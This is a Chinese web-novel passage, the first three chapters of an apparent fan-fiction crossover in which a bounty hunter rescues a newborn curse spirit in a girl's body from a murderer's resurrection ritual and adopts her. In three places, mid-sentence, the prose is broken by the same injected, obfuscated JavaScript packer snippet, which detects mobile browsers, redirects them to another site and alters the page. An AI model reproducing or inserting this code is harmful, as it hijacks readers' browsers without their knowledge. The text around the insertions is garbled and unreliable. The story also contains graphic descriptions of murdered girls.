《滴!猎人卡,一份人类套餐》 1. 转生 第一章 大脑仿佛被拎起来顺时针转了几千圈后又逆时针旋转几千圈,确保质地均匀后就被粗暴地塞进脑壳。四肢也犹如穿上了不合适的皮套般异常沉重,薇奥拉软趴趴一条躺在地上一动不动,安详地宛如一具尸体。 耳边是男人声嘶力竭的喊叫和癫狂的大笑,另一道女声则明显更加冷静,两人似乎在对峙着什么。 强烈的眩晕感如影随形,耳鸣的症状在男人尖锐的嘶哑声线里愈发严重。薇奥拉没有把多余的精力放在外部环境上,只是闭眼安静地等待结果。 心中下定决心,如果是那个聒噪的男人赢的话,就杀了他。 ……不过,他肯定会输啦,毕竟他和那个女人相比一看就弱得不行…… 啊,好快。 虽然下了男人一定会输的判断,但是也太快了吧,从他们弄出的动静来看,连一招都没撑过啊。 腰部被女人结实的手臂牢牢箍住夹在腋下,薇奥拉将手搭在女人的手臂上,艰难地抬起头查看情况。 她愣愣地看着直挺挺跪伏下的高大男子,他清瘦的脸上满是不可置信,那双凹陷的,充斥着疯狂情绪,遍布红血丝的眼球紧闭。 一如她刚来到这个世界睁眼时所看到的那样表情夸张狰狞,区别只是再也发不出任何恼人的声音。 第一反应是太好了,终于不用再忍受烦人的噪音了。 一瞬间薇奥拉脑中的眩晕感都消下了些许,思绪运转仍旧迟滞,还没想清楚该如何对待刚刚那场争执的“胜者”时,按在女人手臂上的手掌就开始无意识蓄力,咒力涌动,某种深藏的本能于暗处自然发动流出—— 腰上突然一松,她就被顺势放在坚实的地面上了,手掌也跟着从女人的手臂上滑落。 “他只是暂时晕过去了,没死。”女人的声音响起。 欸?—— 在这样愤怒的情绪下居然还能忍住不杀人吗? 虚弱无力的双腿不能很好地站立,一个踉跄,薇奥拉又重新伸出双手扶住女人的胳膊保持平衡。 好烫,双手感知到的是更加具体的触感,薇奥拉的手指不仅瑟缩了一下。 掌心下是女人炽热滚烫的体温,隔着一层柔软细腻的皮肤能感受到之下跳动的强劲脉搏,流动的温热血液还有柔韧的肌肉。无不彰显着蓬勃旺盛的生命力,吸引着薇奥拉的双手握得更紧了一些。 毫无疑问,这是个强大的女人,从她站立的体态,全身上下分布的精炼匀称的肌肉以及她一击便能毫不费力地击晕一个高大的成年男性的表现来看,都预示着女人的高度威胁性。 这个世界没有咒力,虽然过往一片空白,但脑袋里却自然而然地浮现了咒力和咒灵的概念。薇奥拉本能地清楚自己咒灵的身份,从人类之间相互憎恨、恐惧的情绪里诞生出的非人之物。 不知为何披上了人皮,但应该尽快逃离的,新生的咒灵还不熟悉自己的人类身体,尚处于孱弱期。 但是对面的人类很强,毋庸置疑的强者,还拥有着那样如同火焰般跃动的滚烫灵魂。 但是真奇怪啊,这样灼目危险的东西为什么能够让她感受到温度和生命的脉动呢? 踌躇片刻后,她选择主动对上女人审视的双眼。 * 异色的虹膜在那张孩童的脸上尤为突出,所以见到这个孩子的人第一眼一定是关注这双透出非人的无机质感的眼睛。 琪卡拉自上而下俯视这对奇异的眼睛,她在这孩子的眼底看到了自己,清澈的眼球上除了小小的倒影外什么也没有。 嘴角上扬露出一个标准的微笑,看上去简直是个乖巧无害的人偶娃娃。 琪卡拉没有完全放下防备,可也没有推开这个倚靠住她的小女孩,她蹲下身平视薇奥拉直接询问:“姓名、年龄、家庭住址还记得吗?” …… 小女孩依然没有说话,审视的态度,迟钝的反应和空洞冷漠的眼神都让琪卡拉察觉到不对劲。 不会是被吓坏了吧? 她动作僵硬地摸了摸灰蓝色的小脑袋,尽可能放柔声调:“不要害怕,你已经安全了,告诉我你家在哪里,我把你送回去吧。” 薇奥拉眨眨眼,将女人笨拙的举动尽数收入眼底,给出了细微的反应。 “薇、薇奥拉。”她磕磕绊绊地开口,语调古怪,嗓音艰涩沙哑,仿佛从来没有使用过自己的声带一样陌生。 将薇奥拉这个名字说出口后,又开始闭嘴装哑巴,显然她只能回答出第一个问题。 琪卡拉的心也随着薇奥拉鹦鹉学舌般稚嫩的声音沉到胃底,她刚刚闯进来时,就曾听见那男子,也就是利坦教授欣喜若狂地称呼躺在圆阵里的小女孩为薇奥拉。 事情要从三个月前说起,闪金市出现了第一起少女失踪案,到目前为止,一共六起。 六名少女都在雨夜归家道路旁的小巷中被人拖拽带走,雨水的冲刷使得现场痕迹破坏大半,加上现场保护得不够及时,几乎找不到什么有用的线索。 琪卡拉依靠现场收集到的为数不多的痕迹,耗费几天几夜不眠不休的调查走访收集目击证人的证词,最终锁定到了科尤多·利坦教授身上。 询问教授的朋友们,得知自从十年前女儿薇奥拉因病去世后,这位教授的精神就有些不正常了。 坚信他的女儿没有死,自那以后开始信奉邪教,偶尔会讲一些灵魂有关的神神叨叨的话。 半年前他主动从巴托奇亚共和国首都比杜桑市的研究所离职,回到了家乡闪金市。根据邻居们的证词,他回来后也只是一天到晚将自己关在家里,深居简出,直到三个月前才开始频频出门,不知道在忙些什么。 动机和行动轨迹都贴合上了, 根据这位利坦教授身边人的证词,可以确认他有重大嫌疑。 他似乎也察觉到了什么,在警方找上门之前就转移了据点,随后将家中点火烧毁证据后离开。 虽然已经尽力抢救了,但泼上汽油后火势太旺,只能艰难控制住不让火焰蔓延到其他房屋。利坦家已然被烧得一干二净,只在地下室里找到拼凑出几具女童的残骸。 显然在少女失踪案前,利坦就犯下过多起案子。只是不知为何突然改变了选择受害者的年龄范围。 警方猜测可能与利坦女儿薇奥拉的年龄有关,薇奥拉去世时年仅六岁,既然利坦认为薇奥拉没有死,那么十年过去,利坦心中的薇奥拉已经十六岁了,正好与失踪案的少女年龄对的上。 但科尤多·利坦还未抓捕归案,一切都只是推测。 当琪卡拉匆匆调查赶到利坦教授在郊外购置的一处据点时,门口渗出的浓郁血腥味预示着不幸的讣告。即使立刻破门而入,也无法挽回逝去的生命。 客厅昏暗深沉,厚重的窗帘隔绝了屋外明亮的月光,烛台上几点明灭不定的烛火是房间内唯一的光源。地上刻出的不祥圆阵内流淌着大量粘稠暗红的血液,血阵内按照特地顺序摆放着六份人体部件,分别来自不同少女的四肢、躯干以及头颅。 而被抽干血液、取下部分肢体后的苍白残尸只是随意地丢弃在房间内的一角,凌乱错落地堆砌成一座小山,残存的血液自断口处流出,细细的血流在“山脚”蜿蜒汇聚出一个小小的湖泊。 造成这场惨剧的罪魁祸首则是梳洗一新,衣着齐整。跪伏在血阵中心睁开眼睛的小女孩面前,狂热地呼喊“薇奥拉”,那个他已经死去的女儿的名字。 已逝之人不能复生,更别说面前的这位小女孩有着灰蓝色的长发,和一金一蓝的异瞳。外貌特征和薇奥拉·利坦的金发褐眼对不上。 也不知道那个男人为了他的狗屁复活仪式从哪里拐来的小女孩。 琪卡拉正沉思之际,那双自接触起就没有离开过她的小手悄然松开。 薇奥拉被角落处残存的情绪吸引而来,蹲坐在六名少女残躯对面的空地上,缓缓伸出手掌按在其中一名少女的肩膀截断面上。 冰凉粘腻的手感,死去的肉块和刚刚触摸的蓬勃□□对比极端。 就是不知道才失去灵魂不久的身体还能被“无为转变”改变形态吗? 薇奥拉带着好奇启动了刚刚被打断的能力。 片刻后,无事发生。 失败了。 薇奥拉撇嘴,但随即想到这个房间里还有另外一个活着的人可以拿来试验,于是她踉踉跄跄地挪动几步,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154322|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只干净的手掌贴在倒地的男人脸上。 …… 看来真的只能作用于有灵魂的人啊。 薇奥拉回到了小角落里,坐在地上,盯着自己的双手。之后将因触碰断肢而沾上了血污和碎肉的手掌,放在眼前仔细观察,鼻尖下意识耸动闻嗅后咧开嘴唇,洁白的牙齿若隐若现,鲜红的舌尖眼看就要舔舐上指尖的血痕。 琪卡拉回过神来就看到这让她心脏骤停的一幕, 闪现到薇奥拉身前,一把握住她的手腕:“不能吃!” 这个女孩的一些行为简直与刚出生的野兽无异,但好在她的智商没有问题,能够听懂旁人说的话。 琪卡拉严肃喝止薇奥拉舔食血液的行为,告诉她:“这些都是此次事件中无辜遇害的受害者,应该对她们的残躯保持应有的尊重和身为人类的怜悯之心。” 她拿出湿巾一点点将薇奥拉手上的血迹擦拭干净。 “既然是我遇到了你,那么我教给你的第一课就是尊重逝者。” “以及食用合适的食物。”想起女孩刚刚的举动,琪卡拉赶紧再补上一句。 琪卡拉告诫薇奥拉不许乱动,熟练地从口袋掏出手套戴上,又才身后背着的大包内掏出照相机,针对现场各个角落的痕迹逐一拍照,并时不时用镊子夹取一些东西放入透明密封袋内封存。 做好所有的准备工作后,她转向乖乖站在一边的薇奥拉解释:“在整理她们的遗容前,我需要先保存现场证据。” “真相是很重要的,这可是钉死凶手最强有力的武器啊。”琪卡拉竖起食指对着茫然的薇奥拉认真说道:“现在所做的一切事情都有意义。” “你现在可能还不懂,但是没有关系,我会一点点教给你的。” 正说着话呢,余光似乎瞥到了什么东西动了动,琪卡拉转头看向倒地的凶手。 科尤多·利坦的姿势与倒下前不同了,虽然依旧昏迷, 保险起见,琪卡拉掏出麻绳将他捆得严严实实再扔在一边。 拍掉手上沾着的灰,“好了,我们现在可以开始整理遗体了。” 她首先带着薇奥拉在尸体前静默站立哀悼了几分钟才开始行动, 没有人比薇奥拉更清楚面前的遗体内灵魂已确实地消散了,这样又会有什么意义呢? 但悄悄觑着琪卡拉沉静的面容,薇奥拉确信琪卡拉也同样明白这一点。 或许这就是琪卡拉所说的要抱有怜悯之心,薇奥拉垂眸。懵懵懂懂,有样学样按着琪卡拉的模样一起垂首哀悼。 琪卡拉一一为这些少女合上双眼,将她们抱出来后又重新摆放在干净空地上的动作迅速又轻柔,生怕惊醒了她们安详的沉眠。 再把血阵中的残肢取出,拼凑回各自主人的残缺处。 最后只剩一件了,将手上的头颅的血迹擦拭干净,琪卡拉凝视着那双紧闭的眼睛,轻轻将之接回了原本的身体上。 薇奥拉能够看到人类的灵魂,而感知到人类的情绪更是犹如进食一样的本能。 所以意识清醒之初,就能感知到,那个男人病态扭曲的狂热欣喜和希望破灭后的绝望疯癫,看到他斑驳的灵魂核心。 索然无味,无聊至极。 而琪卡拉,她在门外时,那股混杂着悲伤的愤怒就先她一步来到了薇奥拉面前。 嗯,薇奥拉闭眼细品,现在不一样了,悲伤的占比更多了。 “你……认识……她?” 薇奥拉说话还是只能一两个字往外蹦。 “嗯。”琪卡拉点头,“我就是从她而起调查这起失踪案的。” 清凉的夜风与苍白的月光相互裹挟着从破碎的门槛进入这沉闷的房子,浓郁的血腥味一点点随风散去。 琪卡拉恍若意识到现在应该很晚了,她看了眼腕上的手表,脱下手套,疲惫地叹了口气:“警察也差不多该来了,你再忍一忍,等他们过来处理后续了我就带你去吃饭,吃合适的可口的食物。” 薇奥拉也跟着点头,不小心点头的幅度过大,才消退了一些的眩晕感又卷土重来,一路攀升至太阳穴, “呕……”一忍再忍后成功地在放松下来的关头吐出来了。 2. 琪卡拉 第二章 闪金市的某间小诊所内, “我说,不舒服不要强行忍下来啊。”琪卡拉一手放在桌上撑着侧脸无奈地说。 吐出来后舒服多了,眩晕感也没有那么严重了。 被洗涮干净的薇奥拉面无表情,浑身散发着草莓味沐浴露的香味,穿着一件对她来说过大的白T,蓬松的灰蓝色长发被一根黑色的皮筋松松箍住垂在脑后,短裤对她来说也有些宽松,靠着腰带才能牢牢固定住不掉下来。 她之前的连衣裙上沾了不少血迹和污渍,幸好胃里没有任何东西,呕吐了些许清水后就再也吐不东西了,现在衣能蔽体全靠琪卡拉将自己包里干净的换洗衣物贡献出来。 琪卡拉用勺子扒拉了两下自己面前的粥:“抓捕犯人忙活到大半夜比起喝清淡的粥,我更想大口吃肉啊,要是有酒就更棒了。” 诊所的主人,也就是琪卡拉的医生朋友西诺尔在电脑前敲着键盘冷笑道:“两个浑身脏兮兮还的人大半夜差点把我诊所的门敲烂,让我爬起来加班就算了,难道还要我做三菜一汤招待你们吗?” “要不是看你还带着小孩,你只配在外面等到明天早上八点才能见我。” 薇奥拉右手横握着勺子在热气腾腾的粥里搅拌做画,看着白粥被勺子压出痕迹后又一点点复原,乐此不彼。 “喂,那边的小孩,给我老实吃饭,不要玩了!” 西诺儿的眉眼下压,眼底青黑的眼圈让他看起来更加阴郁凶狠。 “太凶了,医生,态度不好是会被病人投诉的。”琪卡拉拿过薇奥拉手里的勺子,舀出一勺送至薇奥拉嘴边, “啊,张嘴。” 薇奥拉依言照做,吃进了今天第一口食物。 砸吧着嘴里颗粒状的东西,微微的甜,淡淡的清香。薇奥拉形容不出具体的味道,但无师自通学会了咀嚼。 嚼嚼嚼,咽下去,没有了。 她“啊”地再次张嘴,琪卡拉看了她一眼,将勺子塞回她手里,“好了,你已经学会了,自己吃吧。” 薇奥拉也没有异议,握住勺子就往碗里戳,开始自己进食。 西诺尔滚动鼠标,逐行查看电脑上的检查报告,蓝白屏幕光打在他的金丝眼镜上,眼底神色晦暗不明,“这个小孩你从哪里捡到的。” 琪卡拉摩挲着勺柄上简单的花纹, “你不是知道我最近在追查闪金市的少女失踪案吗?就是在今天的凶案现场捡到的。” “那恭喜你,捡到了九九成新人类,明天早上记得帮我去买张彩票。” “啊?”琪卡拉对于西诺尔的描述还有些呆愣, “通过给这个小孩做的全身检查,我可以得出一个结论,她根本就没有失忆。”西诺尔耐心解释道。 琪卡拉眉心皱起:“可是她连自己的年龄和家庭住址都答不上来,我估计薇奥拉也不是她的真名,她应该把那个疯子的称呼当成了自己的名字使用。” 虽然讲话不太熟练,常识也近乎没有,可是从她的学习速度来看,她的智商没有问题,所以琪卡拉觉得薇奥拉可能是因为过度惊吓导致了记忆丧失。 但是西诺尔的检查结果又推翻了这一可能性。 “没有失忆和不知道自己过往的记忆又不冲突,”西诺尔慢悠悠地端起自己的咖啡杯,“我都说了,这个孩子是个崭新的人类,类比于刚刚降生的婴儿,当然不可能会有任何记忆,更准确地的来说她的记忆只从她第一次睁眼起开始呢。” …… “你知道吗?人只要诞生在这个世界开始,都会在身体上留下痕迹,手掌和足底是痕迹最深刻的地方,会产生茧子。即使保养得再好,只要他有走过路,有使用过手指,都不可能毫无痕迹。惯用手的肌肉和非惯用手的肌肉纤维存在区别;食用过食物牙齿会产生磨痕;就连睡觉时的朝向偏好也会影响脸的两边大小。” “而薇奥拉身上,这些人类活动的痕迹全都没有,对于一个骨龄六岁的小孩来说明显不正常。” “啊,再补充说明一句,她的身体很健康,符合六岁小孩的发育情况。”西诺尔喝了一口手里的咖啡,“所以我说你中大奖了,薇奥拉可能是哪个实验室培育的实验体吧。” 只有从营养液里泡到六岁才能解释她身上的异常。 想到科尤多·利坦的上一份工作,薇奥拉还真的可能是他弄来的实验体。琪卡拉握紧拳头,之前还是太冲动了,让他晕得太痛快,应该把先把人揍一顿的。 “你打算怎么办,这次捡到的可不是什么小猫小狗,而是一个人类小孩,放孤儿院还是找领养家庭?前者方便快捷,后者就要更麻烦了。” 琪卡拉望向专心一勺一勺喝粥的薇奥拉,她使用勺子的动作已然由一开始的生疏转变为熟练,因为坐在凳子上,宽松裤腿下两条细白的腿够不到地面,在空中一晃一晃的,看上去惬意自在。 西诺尔没有等到琪卡拉的回答,于是顺着她的视线看过去, 两个大人的交谈全程都没有避开薇奥拉,但她却没什么太大的反应。 是不清楚要被送出去的意义呢?还是对此并不在意? 西诺尔探究地打量着薇奥拉的动作,试图分析出她内心的真实想法。 思考得入神之时冷不丁对上了一双冷漠的眼睛,被琪卡拉这个笨蛋捡回来的来源不明的可疑小女孩,正用她没有感情的怪异瞳孔凝视着西诺尔,那不是人类会拥有的视角,更像是从某种捕食者的角度对待人类。 琪卡拉果然是个脑子里塞满了肌肉的笨蛋吧,后背凉飕飕的西诺尔咬牙切齿地想,要是被这种麻烦缠上了可不是能够轻易摆脱的。 琪卡拉正在思考。 薇奥拉的情况实在太特殊了,作为刚刚出生的“婴儿”,生活常识一片空白,说话也不熟练,孤儿院的孩子太多,大概率得不到合适的照顾,而要收养孩子的家庭偏向于找一个正常的孩子,什么都不懂的薇奥拉可能被当成智商低下的残缺儿童,很难找到愿意接手的家庭。 偏偏薇奥拉的外貌也不普通,异瞳这样罕见漂亮的特征出现在一个没有自保之力的孩童身上。这个世界上可从不缺少什么人体收藏家,即使能够成功送养,安全问题也不容忽视。 大脑内两个选项化身火柴人你一拳我一脚地缠斗,不管哪边都不能完全说服自己。 最后她一拍桌,将碗里的粥咕嘟咕嘟一饮而尽。 伸出被烫到的舌头疯狂吸气:“窝决定嘞窝籁阳。” 是她能说的话,绝望地捂着胀痛的太阳穴。 西诺尔眼皮都没抬一下:“桌子五十万戒尼,拍烂了要赔钱,烫伤药膏五万一瓶,在药柜第二层上,需要自取。” “你肿么都不惊讶。”琪卡拉摆摆手,“这点小伤很快就好,不需要用药。” 巨额的检查费用已经将她的钱包榨得扁扁的,反正她皮糙肉厚抗造,黑心医生的超贵药物再也宰不到她一分戒尼。 黑心医生西诺尔不爽地“啧”了一声,“我果然和强化系的处不来。” 心大的都能养鲸鱼了。 “你的想法都挂在脸上谁都能看出来,孤儿院不是什么好去处,领养家庭又难找,会收留她的只有想把她卖了挣钱的那种吧。” 西诺尔嗤笑道,“还真是难为你纠结半天,依照你负责又心软的性格,最好的处理办法不就是你自己收养吗?” 那小鬼也正是清楚这一点才有恃无恐,不慌不忙的吧。 要不是刚刚看到那个小鬼的眼神,还真是差点就认为她是真的不在意自己的归处了。 “恭喜你要当妈妈了,琪卡拉。” 西诺尔阴阳怪气,奈何就是有人听不出来。 琪卡拉美滋滋收下祝福,做好决定后焦虑、压力一扫而空。 就连看到薇奥拉吃完碗底最后一点白粥,心满意足地舔了舔嘴角时,也只会说:“虽然现在薇奥拉还有许多事情需要人耐心教导,但好歹她学会自己吃饭了啊。” “等明天回家我要告诉奶奶,我收养了一个女儿的好消息。” 西诺尔:“……不是、你……” 乐观过头了吧! 刚要开口劝告,灰蓝发的女孩就又轻飘飘看过来了。 西诺尔咬牙,顶着薇奥拉能扎死人的视线继续说道:“你可要想好,你捡到的不是什么无害的小猫咪,她的来历可疑,身份不明。” “要不是身体检查结果表明是个彻底的人类,我都要怀疑她是不是什么魔兽伪装成的了……” 自从西诺尔无视她的警告依然要说些不中听到话时,薇奥拉在内心深处已经戒备了起来,在听到怀疑她人类身份的话后,更是直接放下了手里被捏弯的勺子,脑内计算着屋内布局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154323|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和路线。 在人口密集的城市里,简直是负面情绪的温床,更有利于咒灵的成长和恢复。她现在肢体不受控制的情况好了许多,即使面对两个实力不错的人类,想全身而退也不困难。 当然在走之前一定要让多嘴的医生付出代价。 薇奥拉异色的双瞳紧紧盯着琪卡拉的反应,她又会怎样做呢?她是怎样想的呢? 任何生物对于异类的排斥是与生俱来的,更别说咒灵这种天生就存在恶意的物种,对人类来说与死敌无异。 薇奥拉很清楚,就像那个医生一样,在不清楚她的异类身份前会友善对待她,会专门照顾她给她可以裹腹的食物。 但是怀疑一旦产生,她与人类相似的外表就会招来更大的忌惮,头顶的白炽灯明亮的光线也无法照亮薇奥拉眼底的幽暗。 身体肌肉暗自紧绷蓄力,只待一个时机便会暴起伤人。 小小的诊所内气氛沉滞, 西诺尔的手已经借着身体的遮挡按在腰间的匕首上了。 身处风暴中心的琪卡拉好似浑然不觉:“西诺尔你说的那些我早就知道啦,决定收养薇奥拉可不是脑袋一热就决定的,综合多方面考虑后决定的,是深思熟虑啊。” 琪卡拉掰着手指:“首先,我家里有多余的房间可以让薇奥拉住,其次,我的积蓄能够负担得起一个小孩吃饭上学看病,最后,奶奶一直希望家里可以热闹一些,她也很喜欢小孩。所以没问题的。” …… 西诺尔:“希望你能讲什么大道理的我才是个笨蛋。” 琪卡拉大笑着搂过西诺尔的肩膀:“安心啦,不能在小孩子还没有犯错之前就拿对待犯人的方式防范她。” “如果她犯下大错了呢?” 西诺尔还是觉得薇奥拉的反应不对劲,但身体检查报告又显示没有问题。 “嗯,如果她以后犯下重罪,就由我来抓捕她吧。”琪卡拉的回复依旧坚定, “不过我会好好教导薇奥拉,不让她有堕落的可能。只要她还没有犯下过错,一点无伤大雅的小问题也可以不用刨根究底。”琪卡拉大声打断了西诺尔的话,并用不赞同的目光看向他。 感受到脖颈处夹着自己的手臂肌肉有多么强壮有力,想起琪卡拉强悍的武力值,那个小孩估计也翻不起多少风浪。西诺尔冷哼:“但愿吧。” 虽然这么说,他的语气也缓和下来了。 至于薇奥拉,她正盘腿坐在凳子上对他缓缓勾起一个嘲讽的笑,但转过脸对待琪卡拉又是另一种天真单纯的模样。 这个小鬼,还真是令人火大。 “算了,你心里有数就好。” 这俩人一个愿打一个愿挨, 西诺尔站起身,“我要睡觉了,你们也赶紧走吧。” 衣服下摆传来阻力,回头就是琪卡拉不好意思的笑脸:“凌晨两点已经没有回村的大巴了。” 西诺尔:“……你来市里调查失踪案没有订酒店吗?” “时间紧迫,我哪里有时间睡觉,一般都是找个大树或者公园长椅将就休息一会儿。” 来大城市里荒野求生吗?很新奇的查案方式。 西诺尔一瞬间失去所有力气,不忍直视地移开了自己的目光,“你们两个自己去隔壁找两张病床凑合一晚吧,明天早上八点准时滚蛋,不要影响我做生意。” “有一床没有被子!” 琪卡拉行动迅速地去了隔壁铺床,大嗓门极具穿透力,没一会儿她从门口探头说道:“直接睡在冰冷的铁板上,会让我有种躺在停尸台上的错觉。” 西诺尔一副能睡在树上过夜的野人说什么胡话的表情,“我这里是诊所,不是旅馆,凑合一下得了,再多嘴就真的让你睡停尸台。” 说完转身就走。 琪卡拉低头看向薇奥拉,双手将她从椅子上抱起走向隔壁房间:“这就是传说中的寄人篱下,有没有体会到其中蕴含的沉重情感。” 薇奥拉摇头, “没有就对了,因为——”她将薇奥拉放在柔软的床铺上,将她裹进温暖的被子里,“世上只有妈妈好。” “从今天起我琪卡拉·洛佩斯要正式收养你了,做好准备吧,小女孩。” 她金色的瞳孔里凝聚着坚定的光芒:“我会负起责任的。” 所以放心大胆的依靠我吧。 3. 冰淇淋 第三章 西诺尔的话没掺一点水分,第二天早上八点诊所刚开门,眼下青黑的他把包扔回琪卡拉怀里后就将蹭完早饭的母女二人请出去了。 琪卡拉不承认是因为自己一大清早在西诺尔面前炫耀,薇奥拉不让她睡光板床,而是拉着她在有被褥的床上一起挤了一晚的原因。 薇奥拉:……并非自愿。 她只是为昨晚大半夜又跑出去不知道干什么的琪卡拉留了半个床位而已。 “我们要先去买些你要穿的衣服。”琪卡拉一脸愉悦地晃着两人交握的手。 薇奥拉现在穿着的是之前被弄脏的鹅黄色连衣裙,看起来非常可爱。 西诺尔诊所的洗衣机很好用,一晚上的时间,脏衣服已经被洗干净烘干了。改天问问他在哪里买的,搬一台回老家应该会便利不少。 “还有一些生活用品,我来市里就是为了采买必需品的,毕竟乡下地方很不方便嘛。不过我力气大,一次可以带很多东西,所以还好。” 薇奥拉抬头看向琪卡拉:“不是查案吗?” 闪金市不愧是大城市,人多,负面情绪也多,简直称得上源源不断。 “事逼老板,西内!” “死肥猪好恶心!” “有两个臭钱得意什么!” “好丢人,为什么世界还不爆炸。” …… 各种羞耻、憎恶、恐惧的想法伴随情绪一起被薇奥拉吸收读取。 相当于大脑安装了插件,一晚上过去她现在说话流利了许多,最重要的是身体和灵魂完全适应融合了,大脑深处的眩晕感也消失不见。 所以也乐于讲更多的话,尽可能与琪卡拉交流。 琪卡拉挠了挠后脑勺:“主要是来买生活必需品,顺便查案。” “我们村子比较偏远,出行不方便,邻居盖比大叔有个女儿奇安娜一直很向往大城市的生活,早早跑出去打工。但是一直有和家里通信,一个月前盖比大叔就再也没有收到奇安娜的来信。” “他腿脚有残疾,也从没来过大城市,所以在我出门采购前给了我地址,拜托我帮忙看看奇安娜怎么样了。” 琪卡拉停顿下来,吸了口气继续说道:“我顺着地址找到了奇安娜租的房子,发现她已经失踪将近三个星期。” “那个头颅是奇安娜的?”薇奥拉问, “嗯,因为一个疯子可笑的复活仪式,数名无辜的少女和女童失去了生命,其中就包括奇安娜。”琪卡拉沉声说道,攥着薇奥拉的手也握得紧紧的。 “我做赏金猎人也是为了亲手抓捕这些罪犯,让他们为自己的罪行付出代价。” “但是你没有杀了他。”薇奥拉目视前方,她又补充了一句,“你有很多机会可以杀掉他,如果怕被别人发现的话,我有办法可以帮你。” “不行。” 薇奥拉不解地望向琪卡拉:“很方便的,只要轻轻一碰,罪人的灵魂就会得到真正的教训。” 为什么要忍耐呢?自己难得会喜欢一个人类,帮一个小忙也只是顺手的事。 “我只会将他们抓捕归案接受审判。”琪卡拉依旧否定了薇奥拉的提议,“并且如何谋杀一个人不是你应该考虑到事情。” “哪怕他是一个恶贯满盈的人?” “哪怕他是一个恶贯满盈的人。” “我不太明白。” “这是原则,不能轻易打破。” “可是你很愤怒,也很伤心。即使痛苦也要坚持原则吗?”薇奥拉有些看不懂琪卡拉了。 人类还真是矛盾。 虽然她们之间相处的时间甚至不满一天,但薇奥拉知道琪卡拉是个简单的人,情绪很单纯,她的所有想法都摆在脸上,毫无遮拦。 感到不满会鼓起脸,感到开心会大声笑,纠结的时候眉毛会打结,只有在愤怒时她是面无表情的,就像岩浆流淌在平静的冰面下。 只要有矛盾就会滋生痛苦,但琪卡拉身上好像闻不到痛苦的味道,她的灵魂是不一样的。 薇奥拉心想,我果然很喜欢琪卡拉,当时没有直接逃跑简直是最正确的选择。 “有些东西是即使再痛苦也必须要坚持的哦。” “如果你抓捕的罪犯最后没有得到应有的惩罚,而是通过金钱和特权跑掉了该怎么办?”薇奥拉再次试探, “我做赏金猎人是为了让恶人们付出真正的代价。”琪卡拉微笑着将自己的话再说了一遍, “如果到了那个地步我会很生气,那么再次实施抓捕时或许会用力过头也说不准哦。” 强化系的全力一击保证能让有钱有势的渣滓下地狱。 很不妙的笑容,薇奥拉乖乖闭嘴不再多言。 真不巧,那个叫科尤多·利坦的男人可能已经等不到审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154324|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判的日子了。 两人就这样牵着手沉默地走了一段路, “啊,是冰淇淋。”琪卡拉突然抬起手指着前面的一家店的招牌,瞪大了双眼,“没想到这么早就开店了,真不愧是大城市。” “我们两个一人一只冰淇淋,就这样把刚刚的坏情绪全都翻篇吧。” “你要什么口味的?我的话一定要说巧克力味的!”琪卡拉牵着薇奥拉两三步就冲进冰淇淋店。 薇奥拉抬着小脑袋看了半天菜单,好多品种,全都不知道尝起来是什么感觉。 琪卡拉看着薇奥拉一本正经仿佛在世界级大事而纠结的模样忍俊不禁:“还有很多次吃冰淇淋的机会,现在只要选最感兴趣的就行。” “我的可以分你尝一口。”见到薇奥拉实在难以抉择的表情,她做出重点让步。 薇奥拉郑重点头,这下可以尝试两种味道了。 于是她也对琪卡拉说:“那么我的也可以分你一口。” 琪卡拉哈哈大笑:“我会好好品尝的。” 最后薇奥拉还是决定要草莓味的,因为昨晚用的草莓味沐浴露很好闻,可是琪卡拉不让她吃,所以她很好奇草莓味的冰淇淋尝起来是什么味道。 琪卡拉一听到草莓味就想起昨晚帮薇奥拉洗澡时的兵荒马乱,不禁感慨:“你还真是在奇怪的地方有着奇怪的执着啊。” 冰淇淋很快就做好了。 港拿到手,薇奥拉就履行承诺踮起脚尖,举着草莓冰淇淋先让琪卡拉吃一口。 然后眼睁睁地琪卡拉坏心眼地把嘴巴张到最大,小小的冰淇淋球在深渊巨口下显得格外可怜。 “嗷呜”一声,琪卡拉只在粉嫩的球体上啃了一个小缺口。 薇奥拉不动声色地松了口气。 轮到她对琪卡拉的巧克力球动嘴时,她狠狠地咬下了比自己的缺口大一点点的冰淇淋。 她斜眼看琪卡拉的反应,她也只是笑嘻嘻的:“怎么样,巧克力味的?” 甜甜的,带着巧克力醇厚的香味,很好吃。 再尝一口自己手上的, 草莓味的是清爽带着果香味的甜。 薇奥拉一只手拿着冰淇淋慢吞吞地吃,另一只手被琪卡拉空出的手牢牢包裹住。 真奇怪,冰淇淋居然真的会让人感到高兴,人类的感情还真是难以琢磨,薇奥拉看着琪卡拉灿烂的笑脸想道。 4. 警局 第四章 